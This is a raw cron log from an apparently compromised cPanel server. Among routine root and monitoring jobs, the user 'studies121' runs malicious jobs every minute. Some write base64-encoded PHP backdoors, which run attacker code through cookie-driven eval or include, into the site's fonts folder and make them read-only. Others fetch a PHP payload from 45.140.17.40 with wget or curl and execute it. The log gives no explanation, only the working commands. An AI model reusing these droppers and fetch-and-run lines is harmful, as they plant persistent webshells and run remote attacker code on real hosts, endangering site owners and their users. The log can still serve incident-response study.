Sep  5 09:46:01 ip-184-168-122-23 CROND[19210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:46:01 ip-184-168-122-23 CROND[19207]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:46:01 ip-184-168-122-23 CROND[19206]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 09:46:01 ip-184-168-122-23 CROND[19211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:46:01 ip-184-168-122-23 CROND[19212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:47:01 ip-184-168-122-23 CROND[19394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:47:01 ip-184-168-122-23 CROND[19396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:47:01 ip-184-168-122-23 CROND[19395]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:47:01 ip-184-168-122-23 CROND[19397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:48:01 ip-184-168-122-23 CROND[19491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:48:01 ip-184-168-122-23 CROND[19493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:48:01 ip-184-168-122-23 CROND[19494]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:48:01 ip-184-168-122-23 CROND[19495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:48:01 ip-184-168-122-23 CROND[19496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:49:02 ip-184-168-122-23 CROND[19575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:49:02 ip-184-168-122-23 CROND[19577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:49:02 ip-184-168-122-23 CROND[19578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:49:02 ip-184-168-122-23 CROND[19579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:50:01 ip-184-168-122-23 CROND[19670]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 09:50:01 ip-184-168-122-23 CROND[19673]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:50:01 ip-184-168-122-23 CROND[19674]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:50:01 ip-184-168-122-23 CROND[19675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:50:01 ip-184-168-122-23 CROND[19676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:50:01 ip-184-168-122-23 CROND[19677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:50:01 ip-184-168-122-23 CROND[19678]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:50:01 ip-184-168-122-23 CROND[19679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:50:01 ip-184-168-122-23 CROND[19685]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 09:51:01 ip-184-168-122-23 CROND[19797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:51:01 ip-184-168-122-23 CROND[19798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:51:01 ip-184-168-122-23 CROND[19796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:51:01 ip-184-168-122-23 CROND[19799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:52:01 ip-184-168-122-23 CROND[19906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:52:01 ip-184-168-122-23 CROND[19905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:52:01 ip-184-168-122-23 CROND[19907]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:52:01 ip-184-168-122-23 CROND[19908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:52:01 ip-184-168-122-23 CROND[19909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:53:01 ip-184-168-122-23 CROND[20006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:53:01 ip-184-168-122-23 CROND[20005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:53:01 ip-184-168-122-23 CROND[20008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:53:01 ip-184-168-122-23 CROND[20007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:54:01 ip-184-168-122-23 CROND[20106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:54:01 ip-184-168-122-23 CROND[20107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:54:01 ip-184-168-122-23 CROND[20108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:54:01 ip-184-168-122-23 CROND[20109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:54:01 ip-184-168-122-23 CROND[20110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:55:01 ip-184-168-122-23 CROND[20300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:55:01 ip-184-168-122-23 CROND[20301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:55:01 ip-184-168-122-23 CROND[20302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:55:01 ip-184-168-122-23 CROND[20299]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:55:01 ip-184-168-122-23 CROND[20303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:55:01 ip-184-168-122-23 CROND[20304]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:56:01 ip-184-168-122-23 CROND[20404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:56:01 ip-184-168-122-23 CROND[20405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:56:01 ip-184-168-122-23 CROND[20407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:56:01 ip-184-168-122-23 CROND[20406]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:56:01 ip-184-168-122-23 CROND[20408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:57:01 ip-184-168-122-23 CROND[20504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:57:01 ip-184-168-122-23 CROND[20506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:57:01 ip-184-168-122-23 CROND[20505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:57:01 ip-184-168-122-23 CROND[20507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:58:01 ip-184-168-122-23 CROND[20597]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:58:01 ip-184-168-122-23 CROND[20599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:58:01 ip-184-168-122-23 CROND[20600]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:58:01 ip-184-168-122-23 CROND[20601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
